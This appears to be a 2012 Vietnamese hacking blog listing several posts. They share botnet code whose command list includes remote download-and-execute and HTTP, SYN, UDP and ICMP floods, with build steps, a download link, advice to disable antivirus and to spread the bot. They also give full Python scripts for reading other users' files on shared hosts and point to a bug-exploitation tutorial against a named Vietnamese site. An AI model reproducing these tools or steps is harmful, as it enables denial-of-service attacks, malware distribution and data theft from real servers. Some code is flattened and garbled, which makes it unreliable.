Monday, June 25, 2012

Được gói host do thành viên FCVN share, Shell lên xem thế nào, và kết quả:


Get Root Server PA Viet Nam

By: MIN Software on: 4:56 AM

Sunday, June 24, 2012

Hiện nay có rất nhiều cách tao private sock như xài mocks, Tunnilier... Mỗi cách đều có ưu nhược điểm riêng. Đối với mocks thì rất dễ chết host, còn Tunnilier thì khỏi phải nói, hiẹn này đa só dân underground đều xài trình này, nhưng nhược điểm của trình này là chạy rất dich vụ nên tính ổn định thường không cao (?)

Không nói dài dòng, giờ đi thẳng vào vấn đề. Hôm nay mình sẽ giới thiệu cho các bạn cách tạo private socks với putty (only).

Hướng dẫn chi tiết và đầy đủ, nói chung là trực quan đối với các bạn mới bắt đầu.

Đây là link download:

-Flash hướng dẫn:
http://www.mediafire.com/?d8i3nqv3nfkx7zh
-Putty 0.60:
http://www.mediafire.com/?6jjijbv7e458an5
-Mock mocks-0.0.2:
http://www.mediafire.com/?abujn56b70dlkib
Giao diện Putty:

Tạo Private Sock bằng Putty

By: MIN Software on: 7:06 PM
Modules attack:
.download http://host.com/exe.exe; Download -> Execute file
.update http://host.com/exe.exe; Update bots
.httpflood http://host.com/script.php|10; Start HTTP flood
.oldhttpflood http://host.com/script.php|10; Start HTTP/HTTPS flood
.posthttpflood http://host.com/s.php?l=1|10; Start POST flood
.icmpflood http://host.com/script.php|10; Start ICMP flood
.synflood 127.0.0.1:80|10; Start SYN flood
.udpflood 127.0.0.1:80|10; Start UDP flood
.stop 0; Stop

Demo: http://goldbank.vn/xx/index.php

Hướng dẫn đôi chút về sử dụng code botnet này.

Bước 1: các bạn down code về trong foder xx các bạn edit config sao cho trùng vs host của mình rồi import file votam.sql vào phpMyAdmin

Bước 2: Các bạn bấm vào foder Tạo Bot rồi bấm vào file active.exe sau đó bấm vào file votam.exe như hình này:


Bước 3: Sau khi Build xong thì các bạn copy file bin.exe đó chính là file bot. Còn lại các bạn tự tìm hiểu cách phát tán bot nhé.

P/S: http://goldbank.vn/xx/index.php đường dẫn này là index 404 nên bấm nút tab để login nhé!

Download: (Lưu ý: Tắt các anti virus có thể. - Vì sao à? Bot nó là virus chứ là cái gì nữa, ai không tin tưởng thì khỏi phải dùng).

http://www.mediafire.com/?pg50py8oz0ng9qm
Pass Unrar: votam

Lưu ý: Code này nhập victim botnet đến 5-10p sau sẽ có tác dụng nhé đừng nóng lòng.

Share + Hướng Dẫn Sử Dụng code Botnet Của Nik3

By: MIN Software on: 3:12 AM

Saturday, June 23, 2012

Chỉ để tham khảo và nghiên cứu.

Download: http://www.mediafire.com/?464ha01jv1x1lqj

Demo Vượt Captcha

By: MIN Software on: 8:36 PM
==================================================

As we all know, symlinking it's on of greates methods for bypassing server security, mean to read files of other site in same shared host.
For getting success with this tutorial are required the following things:
  • Python Installed on Server
  • b374k.php shell
  • And some scripts u will see below.

This idea have start from devilzc0de geeks and let me explain how it work.


here we are in folder
/var/www/
dono and trying to go into /www/
no permissions to go into /www .
before we got tired by trying the commands u must check if if python it's installed with command :
python -h
Now take this python script and name it as
webs.py , It's a little python script who will open a new port on server SimpleHTTPServer ( python ) module. Default port from script it's 13123 .

#!/usr/bin/env python# devilzc0de.org (c) 2012import SimpleHTTPServerimport SocketServerimport osport = 13123if __name__=='__main__': os.chdir('/') Handler = SimpleHTTPServer.SimpleHTTPRequestHandler httpd = SocketServer.TCPServer(("", port), Handler) print("Now open this server on webbrowser at port : " + str(port)) print("example: http://maho.com:" + str(port)) httpd.serve_forever()
http://pastebin.com/PddvszKC

Next u wil need to run the webs.py script by following command
python webs.py

open the site with port 13123
site.com:13123








Let's go with next method of symlink server bypassing , like u see and into before post now i will explain a new trick with an other tool.
http://www.flashcrew.in/2012/05/serv...umping-in.html

-------------------------
Here we will talk about an other tool who use python permission to read other folders/ files in same server.
Tool called xplor.py and here it's the source

#!/usr/bin/env python
# devilzc0de.org (c) 2012
import sys
import os

def copyfile(source, dest, buffer_size=1024*1024):
if not hasattr(source, 'read'):
source = open(source, 'rb')
if not hasattr(dest, 'write'):
dest = open(dest, 'wb')
while 1:
copy_buffer = source.read(buffer_size)
if copy_buffer:
dest.write(copy_buffer)
else:
break
source.close()
dest.close()

if __name__=="__main__":
if not len(sys.argv) == 3 and not len(sys.argv) == 2:
sys.stdout.write('usage : python ' + os.path.basename(sys.argv[0]) + ' [path to dir/file] [path to save file]\r\n')
sys.stdout.write('ex : python ' + os.path.basename(sys.argv[0]) + ' /etc\r\n')
sys.stdout.write('ex : python ' + os.path.basename(sys.argv[0]) + ' /etc/issue\r\n')
sys.stdout.write('ex : python ' + os.path.basename(sys.argv[0]) + ' /etc/issue issue_new_copy\r\n')
sys.exit(1)

target = sys.argv[1].replace("\\","/")
if os.path.isdir(target):
if not target.endswith("/"):
target = target + "/"
dir = os.listdir(target)
for d in dir:
fs = ""
if os.path.isdir(target + d):
fs = "[ DIR ]"
elif os.path.isfile(target + d):
fs = os.path.getsize(target + d)
fs = str(fs)

sys.stdout.write(fs.rjust(12, " ") + " " + d + "\r\n")
elif os.path.isfile(target):
if len(sys.argv) == 3:
copyfile(target, sys.argv[2])
else:
f = open(target, "rb")
try:
byte = f.read(1024)
sys.stdout.write(byte)
sys.stdout.flush()
while byte != "":
byte = f.read(1024)
sys.stdout.write(byte)
sys.stdout.flush()
finally:
f.close()
else:
sys.stdout.write("Can't found file or folder : " + target)
http://pastebin.com/WqmCE2sJ


testing the script
python xplor.py

User the tool to view folders where not have any permission to read inside

python xplor.py /var/www/index.php


View the files in no access folder .
python xplor.py /var/www/index.php


copy/ save ur file
python xplor.py /var/www/indro/ketek.jpg ketek.jpg


And yeah file it's here


Yeahh fucking access it's granted

Some thing u can do with those other scripts in perl
webs.pl
and
xplor.pl

enjoy it :)

Server Bypass via Symlink - Jumping in server

By: MIN Software on: 6:58 PM
TUT hướng dẫn bug tấn công vào icare.com.vn qua file Validator.php
Tác Giả: Nobody

Link down:

http://www.mediafire.com/?ntrngjdzczj
Đây cùng do sự bất cẩn của admin quên chưa xóa fle Validator.php file này có khả năng view hệ các file và thư mục của vBB.

[TUT] Bug validator.php trong vBulletin

By: MIN Software on: 6:51 PM
Tài liệu hướng dẫn sử dụng Back Track 5 - Tiếng Việt:

Pass download :
hcegroup

Tài liệu hướng dẫn về Back Track 5 - Tiếng Việt

By: MIN Software on: 6:47 PM

 

Our Team Members

Copyright © hacker va bao mat | Designed by Templateism.com | WPResearcher.com